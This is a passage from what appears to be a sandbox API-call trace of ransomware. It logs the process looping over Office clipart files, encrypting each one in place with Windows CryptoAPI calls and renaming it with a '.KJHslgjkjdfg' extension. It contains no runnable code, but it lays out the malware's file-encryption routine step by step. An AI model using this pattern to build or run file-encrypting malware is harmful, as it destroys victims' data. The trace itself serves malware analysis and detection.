lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.kjhslgjkjdfg")) returned 1 [0159.636] CloseHandle (hObject=0x114) returned 1 [0159.636] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0159.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.637] GetProcessHeap () returned 0x2a0000 [0159.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.637] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.637] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.639] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.639] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.639] GetProcessHeap () returned 0x2a0000 [0159.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.639] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.639] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.639] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.640] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.640] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.640] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.640] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.640] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.640] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.640] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.640] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.640] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3b3c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3b3c, lpOverlapped=0x0) returned 1 [0159.641] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b40, dwBufLen=0x3b40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b40) returned 1 [0159.641] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.641] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3b40, lpOverlapped=0x0) returned 1 [0159.641] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.641] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.641] SetEndOfFile (hFile=0x114) returned 1 [0159.644] GetProcessHeap () returned 0x2a0000 [0159.644] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.644] GetProcessHeap () returned 0x2a0000 [0159.644] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.kjhslgjkjdfg")) returned 1 [0159.644] CloseHandle (hObject=0x114) returned 1 [0159.644] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0159.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.647] GetProcessHeap () returned 0x2a0000 [0159.647] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.647] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.647] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0159.649] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.649] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.649] GetProcessHeap () returned 0x2a0000 [0159.649] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.649] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.649] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.649] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.649] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.649] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.649] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.649] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.649] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.649] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.649] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x121a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x121a, lpOverlapped=0x0) returned 1 [0159.650] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1220, dwBufLen=0x1220 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1220) returned 1 [0159.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.650] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1220, lpOverlapped=0x0) returned 1 [0159.651] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.651] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.651] SetEndOfFile (hFile=0x114) returned 1 [0159.653] GetProcessHeap () returned 0x2a0000 [0159.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.653] GetProcessHeap () returned 0x2a0000 [0159.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.kjhslgjkjdfg")) returned 1 [0159.654] CloseHandle (hObject=0x114) returned 1 [0159.654] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0159.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.654] GetProcessHeap () returned 0x2a0000 [0159.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.654] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.654] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.656] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.656] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.656] GetProcessHeap () returned 0x2a0000 [0159.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.656] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.656] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.656] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.656] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.656] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.657] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.657] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.657] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.657] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.657] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.657] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.657] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x96c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x96c, lpOverlapped=0x0) returned 1 [0159.657] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x970, dwBufLen=0x970 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x970) returned 1 [0159.657] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.657] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x970, lpOverlapped=0x0) returned 1 [0159.657] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.657] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.657] SetEndOfFile (hFile=0x114) returned 1 [0159.659] GetProcessHeap () returned 0x2a0000 [0159.659] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.659] GetProcessHeap () returned 0x2a0000 [0159.659] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.kjhslgjkjdfg")) returned 1 [0159.660] CloseHandle (hObject=0x114) returned 1 [0159.661] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0159.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.661] GetProcessHeap () returned 0x2a0000 [0159.661] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.661] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.661] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.661] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.663] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.663] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.663] GetProcessHeap () returned 0x2a0000 [0159.663] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.663] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.663] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.663] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.663] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.663] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.664] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.664] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.664] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.664] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1378, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1378, lpOverlapped=0x0) returned 1 [0159.665] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1380, dwBufLen=0x1380 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1380) returned 1 [0159.665] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.665] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1380, lpOverlapped=0x0) returned 1 [0159.665] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.665] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.665] SetEndOfFile (hFile=0x114) returned 1 [0159.667] GetProcessHeap () returned 0x2a0000 [0159.667] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.667] GetProcessHeap () returned 0x2a0000 [0159.667] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.kjhslgjkjdfg")) returned 1 [0159.668] CloseHandle (hObject=0x114) returned 1 [0159.668] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0159.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.672] GetProcessHeap () returned 0x2a0000 [0159.672] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.673] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.673] 